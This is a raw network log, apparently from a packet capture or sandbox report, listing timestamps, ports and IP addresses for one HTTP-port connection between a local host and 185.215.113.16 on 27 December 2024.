Dec 27, 2024 08:45:24.970971107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.971533060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.971631050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.971674919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.972265005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.972390890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.972434998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.972925901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.973027945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.973073959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.973637104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.973752022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.973797083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.974451065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.974574089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.974617958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.975121975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.975198984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.975256920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.975800037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.975893021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.975933075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.976552010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.976669073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.976711988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.977248907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.977358103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.977399111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.977962971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.978054047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.978091002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.978686094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.978774071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.978820086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.979366064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.979516983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.979578018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.980125904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.980180979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.980226994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.980818987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.980921030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.980962992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.981570005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.981647968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.981688976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.982228994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.982315063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.982357025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.982956886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.983005047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.983046055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.983668089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.983742952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.983782053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.984810114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.984956980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.985001087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.985100031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.985184908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.985224962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.985851049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.985929966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.985969067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.986537933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.986603022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.986644983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.987235069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.987350941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.987390995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.987963915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.988049030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.988089085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.988667965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.988795042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.988841057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.989386082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.989455938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.989491940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.990113974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.990195036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.990232944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.990801096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.990919113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.990957022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.991508961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.991550922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.991586924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.992213964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.992314100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.992353916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.992955923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.993000984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:24.993040085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:24.993607998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.007095098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.007148027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.007189035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.007426023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.007471085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.007496119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.008078098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.008138895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.008248091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.008815050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.008865118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.008897066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.009531021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.009572983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.009634972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.010241985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.010289907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.010345936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.010963917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.011008024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.011070967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.011666059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.011708975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.011781931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.012423992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.012465000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.012480021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.013079882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.013156891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.013170004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.053388119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.164685965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.164717913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.164769888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.164830923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.164993048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.165030956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.165069103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.165714025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.165769100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.165777922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.166455984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.166507959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.166531086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.167126894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.167182922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.167197943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.167846918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.167901039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.167943954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.168545961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.168591022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.168592930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.169296026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.169356108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.169372082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.169981956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.170028925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.170069933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.170711040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.170764923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.170808077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.171446085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.171499968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.171566010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.172152996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.172200918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.172219992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.172832966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.172883987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.172928095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.173577070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.173630953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.173651934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.174314976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.174364090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.174380064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.174947023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.174993038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.175060034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.175739050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.175785065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.175849915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.176438093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.176486015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.176498890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.177128077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.177170992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.177212000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.177880049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.177922010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.177961111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.178651094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.178694963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.178702116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.179366112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.179402113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.179455042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.180047989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.180103064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.180171967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.180763960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.180828094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.180831909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.181554079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.181586981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.181607008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.182142973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.182199001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.182271004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.182879925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.182924986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.183011055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.183567047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.183609962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.183648109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.184304953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.184348106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.184357882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.184993029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.185036898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.185079098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.185724020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.185786963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.185828924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.186424971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.186495066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.186513901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.187124014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.187170029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.187221050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.187863111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.187908888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.187916994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.188544035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.188586950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.188632011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.189284086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.189327955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.189343929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.189975023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.190018892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.190066099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.190704107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.190747976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.190785885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.191395044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.191440105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.191488028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.192131996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.192190886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.192240000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.192836046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.192886114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.192905903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.193582058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.193629980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.193690062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.194391966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.194430113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.194437981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.208780050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.208810091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.208848953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.209006071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.209044933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.209105015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.209768057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.209805965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.209867954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.210468054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.210509062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.210546970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.211185932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.211221933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.211280107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.211914062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.211957932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.211966991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.212605000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.212654114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.212698936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.213316917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.213371038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.213390112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.214006901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.214071035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.214114904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.214782953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.214806080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.214827061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.256470919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.366132021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.366185904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.366229057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.366317034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.366420031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.366456985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.366878986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.366955042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.366986990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.367602110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.367743969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.367774963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.368383884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.368504047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.368540049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.369065046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.369153976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.369187117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.369777918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.369833946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.369864941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.370500088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.370577097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.370608091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.371196985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.371294022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.371329069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.371973038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.371989012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.372034073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.372652054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.372739077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.372771978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.373347998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.373469114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.373507023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.374098063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.374197006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.374233007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.374808073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.374933004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.374969959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.375480890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.375572920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.375608921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.376328945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.376478910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.376516104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.376900911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.376940966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.376974106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.377713919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.377765894 CET	80	49744	185.215.113.16	192.168.2.4
